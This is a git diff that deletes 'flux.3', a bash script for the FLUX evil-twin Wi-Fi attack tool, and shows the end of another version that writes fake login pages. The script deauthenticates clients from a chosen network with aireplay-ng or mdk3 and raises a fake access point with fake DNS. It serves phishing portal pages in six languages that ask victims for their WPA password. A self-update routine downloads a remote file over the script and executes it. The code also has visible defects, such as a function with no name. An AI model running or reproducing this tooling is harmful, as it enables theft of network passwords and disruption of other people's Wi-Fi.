    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_OK" -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/final.html - echo " - - - Login - - - - - - -
    -
    -

    Login Page

    -
    - -
    - - "$DIALOG_WEB_ERROR" -
    - "$DIALOG_WEB_BACK" - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/error.html - - echo " - - - Login - - - - - - - -
    -
    -

    Login Page

    -
    - -
    -
    -
    -
    - -
    ESSID:
    - -
    $Host_SSID
    - -
    BSSID:
    - -
    $Host_MAC
    - -
    Chan:
    - -
    $Host_CHAN
    - -
    - -
    - - "$DIALOG_WEB_INFO" -
    - -
    - - - -
    - -
    - -
    - -
    -
    -
    -
    -

    -
    - -
    - -
    - -
    -
    -
    - - - ">$DUMP_PATH/data/index.htm - -} -######################################### < INTERFACE WEB > ######################################## - - -mostrarheader && setresolution && setinterface diff --git a/nightly/0.18/flux/flux.3 b/nightly/0.18/flux/flux.3 deleted file mode 100644 index f8a53e5..0000000 --- a/nightly/0.18/flux/flux.3 +++ /dev/null @@ -1,4659 +0,0 @@ -#!/bin/bash - -########## DEBUG Mode ########## -## ## - FLUX_DEBUG=0 -## ## -################################ - - - - -clear - -##################################### < CONFIGURATION > ##################################### - - -DUMP_PATH="/tmp/TMPflux" -# Number de desautentificaciones -DEAUTHTIME="30" -revision=5 -version=0.17 -IP=192.168.1.1 -RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) - -#Colores -white="\033[1;37m" -grey="\033[0;37m" -red2="\033[0;35m" -red="\033[1;31m" -green="\033[1;32m" -yellow="\033[1;33m" -blue="\033[1;34m" -transparent="\e[0m" -############################################################################################## - -# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] -if [ $FLUX_DEBUG = 1 ]; then - ## Developer Mode - export flux_output_device=/dev/stdout - HOLD="-hold" -else - ## Normal Mode - export flux_output_device=/dev/null - HOLD="" -fi - -# Delete Log only in Normal Mode ! -function conditional_clear() { - - if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi -} - -# Check Updates -function checkupdatess { - - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/flux" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" - if [ -z "$revision_online" ]; then - echo "?">$DUMP_PATH/Irev - else - echo "$revision_online">$DUMP_PATH/Irev - fi - -} - -# Animation -function spinner { - - local pid=$1 - local delay=0.15 - local spinstr='|/-\' - while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $delay - printf "\b\b\b\b\b\b" - done - printf " \b\b\b\b" -} - -# ERROR Report only in Developer Mode -# FLUXION = Developer Mode -# Fluxass = Normal Mode -if [ "$FLUX_DEBUG" = "1" ]; then - trap 'err_report $FLUXION' ERR -fi - -# ERROR Report Normale Mode -function err_report { - echo "Error en la fluxass $1" -} - - -#If the script exits unexpectedly -trap exitmode SIGINT SIGHUP - -function { - sudo chmod +x Installer.sh - sudo ./Installer -} -# KILL ALL -function exitmode { - - echo -e "\n\n"$white"["$red" "$white"] "$red"Cleaning and closing"$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Stopping interface "$green "$WIFI_MONITOR"$transparent"" - airmon-ng stop $WIFI_MONITOR &> $flux_output_device - fi - - - - if [ "$WIFI" != "" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Stopping interface "$green "$WIFI"$transparent"" - airmon-ng stop $WIFI &> $flux_output_device - fi - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" - echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding - fi - - echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" - service restart network-manager &> $flux_output_device & - - echo -e ""$white"["$green "+"$white"] "$green "Cleaning performed successfully!"$transparent"" - exit - -} - -# Genera listado de Interfaces en el Script -readarray -t webinterfaces < <(echo -e "Web Interface -\e[1;31mExit"$transparent"" -) - -# Genera listado de Idiomas web -readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] -Spanish[ESP] GERMAN [GER] -\e[1;31mBack"$transparent"" -) - -#Language for Web Interface -#GER -DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" -DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" -DIALOG_WEB_SUBMIT_GER="Bestätigen" -DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" -DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" -DIALOG_WEB_BACK_GER="Back" -DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" -DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" - -#EN -DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" -DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" - -#ESP -DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" -DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" -DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" -DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" - -#IT -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" -DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" - -#FR -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Valider" -DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" -DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." -DIALOG_WEB_BACK_FR="Précédent" -DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" -DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" - -#POR -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite sua senha WPA" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" -DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" -DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" - -# Design -function mostrarheader(){ - - conditional_clear - echo -e "$green #########################################################" - echo -e "$green # #" - echo -e "$green #$red FLUX $version" "${yellow}by ""${blue}deltax""$green #"${blue} - echo -e "$green #""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}N""${yellow}ot a ""${red}S""${yellow}ocial ""${red}E""${yellow}nginering" "${red}T""${yellow}ool""$green #" - echo -e "$green # #" - echo -e "$green #########################################################""$transparent" - echo - echo -} - -##################################### < CONFIGURACION > ##################################### - - - - - - -############################################## < START > ############################################## - - -if ! [ $(id -u) = "0" ] 2>/dev/null; then - echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" - exit -fi - -# Check requirements -function checkdependences { - - echo -ne "Aircrack-ng....." - if ! hash aircrack-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Aireplay-ng....." - if ! hash aireplay-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airmon-ng......." - if ! hash airmon-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airodump-ng....." - if ! hash airodump-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Awk............." - if ! hash awk 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Curl............" - if ! hash curl 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Dhcpd..........." - if ! hash dhcpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Hostapd........." - if ! hash hostapd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Iwconfig........" - if ! hash iwconfig 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Lighttpd........" - if ! hash lighttpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Macchanger......" - if ! hash macchanger 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Mdk3............" - if ! hash mdk3 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Nmap............" - if ! [ -f /usr/bin/nmap ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Php5-cgi........" - if ! [ -f /usr/bin/php-cgi ]; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Pyrit..........." - if ! hash pyrit 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Python.........." - if ! hash python 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Unzip..........." - if ! hash unzip 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Xterm..........." - if ! hash xterm 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - salir=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - if [ "$salir" = "1" ]; then - exit 1 - fi - - sleep 1 - clear -} -mostrarheader -checkdependences - -# Create Workbook -if [ ! -d $DUMP_PATH ]; then - mkdir $DUMP_PATH &>$flux_output_device -fi - - -if [ $FLUX_DEBUG != 1 ]; then - - echo "" - sleep 0.1 && echo -e $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo -e $red " LUXFLUXFLUX UXF UXF UX UX" - sleep 0.1 && echo -e $red " LU UX XF UXF FL FL " - sleep 0.1 && echo -e $red " LUXFLU UX XF UXF LUXF" - sleep 0.1 && echo -e $red " LUXFL UX XF UXF LUX" - sleep 0.1 && echo -e $red " LU UX XF UXF FLUXF " - sleep 0.1 && echo -e $red " LU UX XFL UXF XFL FL " - sleep 0.1 && echo -e $red " LU UXFLUXFL FLUXFLUX XF LUXF" - echo "" - - sleep 1 - echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" - sleep 1 - echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent - sleep 1 - echo -n " Latest rev." - tput civis - checkupdatess & - spinner "$!" - revision_online=$(cat $DUMP_PATH/Irev) - echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" - if [ "$revision_online" != "?" ]; then - - if [ "$revision" != "$revision_online" ]; then - - cp $0 $HOME/flux_rev-$revision.backup - curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/flux -s -o $0 - echo - echo - echo -e ""$red" -Updated successfully! Restarting the script to apply the changes ..."$transparent"" - sleep 5 - chmod +x $0 - exec $0 - - fi - fi - echo "" - tput cnorm - sleep 2 - -fi - -# Show info for the selected AP -function infoap { - - Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` - Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` - echo "INFO WIFI" - echo - echo -e " "$green "SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$green "Channel"$transparent" = $channel" - echo -e " "$green "Speed"$transparent" = ${speed:2} Mbps" - echo -e " "$green "BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" - echo -} - -############################################## < START > ############################################## - - - - - - -############################################### < MENU > ############################################### - -# Windows + Resolution -function setresolution { - - function resA { - - TOPLEFT="-geometry 90x13+0+0" - TOPRIGHT="-geometry 83x26-0+0" - BOTTOMLEFT="-geometry 90x24+0-0" - BOTTOMRIGHT="-geometry 75x12-0-0" - TOPLEFTBIG="-geometry 91x42+0+0" - TOPRIGHTBIG="-geometry 83x26-0+0" - } - - function resB { - - TOPLEFT="-geometry 92x14+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 92x36+0-0" - BOTTOMRIGHT="-geometry 74x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 74x30-0+0" - } - function resC { - - TOPLEFT="-geometry 100x20+0+0" - TOPRIGHT="-geometry 109x20-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 109x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 109x30-0+0" - } - function resD { - TOPLEFT="-geometry 110x35+0+0" - TOPRIGHT="-geometry 99x40-0+0" - BOTTOMLEFT="-geometry 110x35+0-0" - BOTTOMRIGHT="-geometry 99x30-0-0" - TOPLEFTBIG="-geometry 110x72+0+0" - TOPRIGHTBIG="-geometry 99x40-0+0" - } - function resE { - TOPLEFT="-geometry 130x43+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 130x40+0-0" - BOTTOMRIGHT="-geometry 132x35-0-0" - TOPLEFTBIG="-geometry 130x85+0+0" - TOPRIGHTBIG="-geometry 132x48-0+0" - } - function resF { - TOPLEFT="-geometry 100x17+0+0" - TOPRIGHT="-geometry 90x27-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 90x20-0-0" - TOPLEFTBIG="-geometry 100x70+0+0" - TOPRIGHTBIG="-geometry 90x27-0+0" -} - -detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) -## A) 1024x600 -## B) 1024x768 -## C) 1280x768 -## D) 1280x1024 -## E) 1600x1200 -case $detectedresolution in - "1024x600" ) resA ;; - "1024x768" ) resB ;; - "1280x768" ) resC ;; - "1366x768" ) resC ;; - "1280x1024" ) resD ;; - "1600x1200" ) resE ;; - "1366x768" ) resF ;; - * ) resA ;; -esac -} - -# Choose Interface -function setinterface { - - # Collect all interfaces in montitor mode & stop all - KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` - - for monkill in ${KILLMONITOR[@]}; do - airmon-ng stop $monkill >$flux_output_device - echo -n "$monkill, " - done - - # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(airmon-ng |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`airmon-ng| grep -c "-"` - - echo - echo - echo Autodetect Resolution ... - echo $detectedresolution - echo - - - - if [ "$INTERFACESNUMBER" -gt "0" ]; then - - echo "Select an interface" - echo - i=0 - - for line in "${wirelessifaces[@]}"; do - i=$(($i+1)) - wirelessifaces[$i]=$line - echo -e "$green ""$i)"$transparent" $line" - done - - echo -n "#? " - read line - PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') - - if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then - conditional_clear - mostrarheader - setinterface - fi - - readarray -t softwaremolesto < <(airmon-ng check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(airmon-ng | grep "$PREWIFI" | awk '{print($(NF-2))}') - rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 - - for molesto in "${softwaremolesto[@]}"; do - killall "$molesto" &>$flux_output_device - done - sleep 0.5 - - modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 - sleep 0.5 - # Select Wifi Interface - select PREWIFI in $INTERFACES; do - break; - done - - WIFIMONITOR=$(airmon-ng start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) - WIFI_MONITOR=$WIFIMONITOR - WIFI=$PREWIFI - - #No wireless cards - else - - echo There are no wireless cards, quit... - sleep 5 - exitmode - fi - - deltax - -} - -# Check files -function deltax { - - conditional_clear - CSVDB=dump-01.csv - - rm -rf $DUMP_PATH/* - - choosescan - selection -} - -# Select channel -function choosescan { - - conditional_clear - - while true; do - conditional_clear - mostrarheader - - echo "Select channel" - echo " " - echo -e " "$green "1)"$transparent" All channels " - echo -e " "$green "2)"$transparent" Specific channel(s) " - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) Scan ; break ;; - 2 ) Scanchan ; break ;; - * ) echo "Unknown option. Please choose again"; conditional_clear ;; - esac - done -} - -# Choose your channel if you choose option 2 before -function Scanchan { - - conditional_clear - mostrarheader - - echo " " - echo " Select Channel " - echo " " - echo -e " Single channel "$green "6"$transparent" " - echo -e " Multiple channels "$green "1-5"$transparent" " - echo -e " Multiple channels "$green "1,2,5-7,11"$transparent" " - echo " " - echo -n " #> " - read channel_number - set -- ${channel_number} - conditional_clear - - rm -rf $DUMP_PATH/dump* - xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR -} - -# Scans the entire network -function Scan { - - conditional_clear - xterm $HOLD -title "WIFI Monitor" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR -} - -# Choose a network -function selection { - - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " WIFI LIST " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done < $DUMP_PATH/dump-02.csv - echo - echo -e ""$green "("$white"*"$green ")Fehler"$transparent"" - echo "" - echo " Select Target " - echo -n " #> " - read choice - idlenght=${aidlenght[$choice]} - ssid=${assid[$choice]} - channel=$(echo ${achannel[$choice]}|tr -d [:space:]) - mac=${amac[$choice]} - privacy=${aprivacy[$choice]} - speed=${aspeed[$choice]} - Host_IDL=$idlength - Host_SPEED=$speed - Host_ENC=$privacy - Host_MAC=$mac - Host_CHAN=$channel - acouper=${#ssid} - fin=$(($acouper-idlength)) - Host_SSID=${ssid:1:fin} - - conditional_clear - - askAP -} - -# FakeAP -function askAP { - - DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` - - if [ $DIGITOS_WIFIS_CSV -le 15 ]; then - selection && break - fi - - if [ "$(echo $WIFIDRIVER | grep -i 8187)" ]; then - fakeapmode="airbase-ng" - askauth - fi - - mostrarheader - while true; do - - infoap - - echo "MODE FakeAP" - echo " " - echo -e " "$green "1)"$transparent" Hostapd ("$red"Recommend)"$transparent")" - echo -e " "$green "2)"$transparent" airbase-ng (Slower connection)" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; - 2 ) fakeapmode="airbase-ng"; askauth; break ;; - 3 ) selection; break ;; - * ) echo "Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# Test Passwords / airbase-ng -function askauth { - - conditional_clear - - mostrarheader - while true; do - - echo "METHOD TO VERIFICATION THE PASSWORD" - echo " " - echo -e " "$green "1)"$transparent" Handshake ("$red"Recommended"$transparent")" - echo -e " "$green "2)"$transparent" Wpa_supplicant(More failures)" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) authmode="handshake"; handshakelocation; break ;; - 2 ) authmode="wpa_supplicant"; webinterface; break ;; - 3 ) askAP; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -function handshakelocation { - - conditional_clear - - mostrarheader - infoap - echo - echo -e "handshake path (Ej: $red/root/fluxion.cap$transparent)" - echo -e "Press ${yellow}ENTER$transparent to skip" - echo - echo -n "Path: " - echo -ne "$red" - read handshakeloc - echo -ne "$transparent" - - if [ "$handshakeloc" = "" ]; then - deauthforce - else - if [ -f "$handshakeloc" ]; then - Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) - Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') - if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then - if pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake " - echo - sleep 4 - echo "you can try aircrack-ng" - echo "You want to try to aircrack-ng instead of pyrit to check the handshake? [ENTER = NO]" - echo - - read handshakeloc_aircrack - echo -ne "$transparent" - if [ "$handshakeloc_aircrack" = "" ]; then - handshakelocation - else - if aircrack-ng $handshakeloc | grep -q "1 handshake"; then - cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap - webinterface - else - echo "Broken handshake" - sleep 4 - handshakelocation - fi - fi - fi - else - echo -e "${red}Not_Found$transparent!" - echo - echo -e "File ${red}MAC$transparent" - - readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") - for i in "${lista_loc[@]}"; do - echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" - done - - echo -e "Host ${green }MAC$transparent" - echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" - sleep 7 - handshakelocation - fi - else - echo -e "Archivo ${red}NO$transparent existe" - sleep 4 - handshakelocation - fi - fi -} - -function deauthforce { - - conditional_clear - - mostrarheader - while true; do - - echo "handshake check" - echo " " - echo -e " "$green "1)"$transparent" aircrack-ng (Miss chance)" - echo -e " "$green "2)"$transparent" pyrit" - echo -e " "$green "3)"$transparent" Back" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) handshakemode="normal"; askclientsel; break ;; - 2 ) handshakemode="hard"; askclientsel; break ;; - 3 ) askauth; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done -} - -############################################### < MENU > ############################################### - - - - - - -############################################# < HANDSHAKE > ############################################ - -# Tipo de Deauth que se va a realizar -function askclientsel { - - conditional_clear - - while true; do - mostrarheader - - echo "Capture Handshake" - echo " " - echo -e " "$green "1)"$transparent" Deauth all" - echo -e " "$green "2)"$transparent" Deauth all [mdk3]" - echo -e " "$green "3)"$transparent" Deauth target " - echo -e " "$green "4)"$transparent" Rescan networks " - echo -e " "$green "5)"$transparent" Exit" - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) deauth all; break ;; - 2 ) deauth mdk3; break ;; - 3 ) deauth esp; break ;; - 4 ) killall airodump-ng &>$flux_output_device; deltax; break;; - 5 ) exitmode; break ;; - * ) echo " -Unknown option. Choose again"; conditional_clear ;; - esac - done - -} - -# -function deauth { - - conditional_clear - - iwconfig $WIFI_MONITOR channel $Host_CHAN - - case $1 in - all ) - DEAUTH=deauthall - capture & $DEAUTH - CSVDB=$Host_MAC-01.csv - ;; - mdk3 ) - DEAUTH=deauthmdk3 - capture & $DEAUTH & - CSVDB=$Host_MAC-01.csv - ;; - esp ) - DEAUTH=deauthesp - HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` - LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` - - if [ $LINEAS_CLIENTES -le 5 ]; then - DEAUTH=deauthall - capture & $DEAUTH - 